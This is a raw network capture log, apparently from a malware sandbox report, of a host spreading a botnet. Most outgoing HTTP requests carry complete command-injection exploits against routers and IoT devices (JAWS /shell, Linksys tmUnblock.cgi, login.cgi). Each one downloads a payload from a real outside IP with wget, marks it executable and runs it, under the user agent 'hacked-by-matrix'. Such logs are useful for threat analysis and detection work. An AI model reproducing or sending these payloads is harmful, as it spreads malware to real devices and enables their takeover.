Mar 21, 2024 05:22:45.202977896 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 21, 2024 05:22:45.203047991 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 21, 2024 05:22:45.203141928 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to ded.vgame.ca's <a href="mailto:root@ded.vgame.ca?s
Mar 21, 2024 05:22:45.203154087 CET	356	IN	Data Raw: 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 63 70 61 6e 65 6c 22 20 74 69 74 6c 65 3d 22 63 50 61 6e 65 6c 2c Data Ascii: logo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyright">Copyright 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.13	50832	23.227.43.107	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:45.127906084 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.13	36480	52.21.163.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:45.137276888 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:45.232594967 CET	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.13	56194	222.218.187.56	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:45.490068913 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:49.516239882 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:55.661108971 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.13	58786	172.65.238.4	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:45.766959906 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.13	60134	113.61.199.4	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:45.855763912 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:50.028279066 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:50.385094881 CET	78	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.13	56060	49.13.155.151	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:46.462222099 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:46.674633980 CET	495	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.13	60170	113.61.199.4	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:46.531955957 CET	69	IN	HTTP/1.1 414 Request-URI Too Large Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.13	58808	172.65.238.4	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:46.767052889 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.13	60744	52.222.153.187	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.438571930 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:47.610351086 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Thu, 21 Mar 2024 04:22:47 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 32a3d8b90281de379fa6ae275a2021bc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: CDG52-P1 X-Amz-Cf-Id: _2NJCMYcM_lDPRm50FXLjtWFsbnaPLMBRFLsxcBZsMHvzEmRcP5LCQ== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 5f 32 4e 4a 43 4d 59 63 4d 5f 6c 44 50 52 6d 35 30 46 58 4c 6a 74 57 46 73 62 6e 61 50 4c 4d 42 52 46 4c 73 78 63 42 5a 73 4d 48 76 7a 45 6d 52 63 50 35 4c 43 51 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: _2NJCMYcM_lDPRm50FXLjtWFsbnaPLMBRFLsxcBZsMHvzEmRcP5LCQ==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.13	52158	212.76.114.126	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.500669956 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.13	43848	44.213.30.231	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.531949997 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:47.823539019 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:47.916699886 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:22:47 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.13	47384	184.26.253.178	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:47.537528992 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:47.795687914 CET	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Thu, 21 Mar 2024 04:22:47 GMT Date: Thu, 21 Mar 2024 04:22:47 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 61 64 61 33 38 37 64 26 23 34 36 3b 31 37 31 30 39 39 34 39 36 37 26 23 34 36 3b 34 36 64 61 36 37 63 39 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 32 61 64 61 33 38 37 64 26 23 34 36 3b 31 37 31 30 39 39 34 39 36 37 26 23 34 36 3b 34 36 64 61 36 37 63 39 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.2ada387d.1710994967.46da67c9<P>https://errors.edgesuite.net/9.2ada387d.1710994967.46da67c9</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.13	34610	54.230.187.158	80

Timestamp	Bytes transferred	Direction	Data
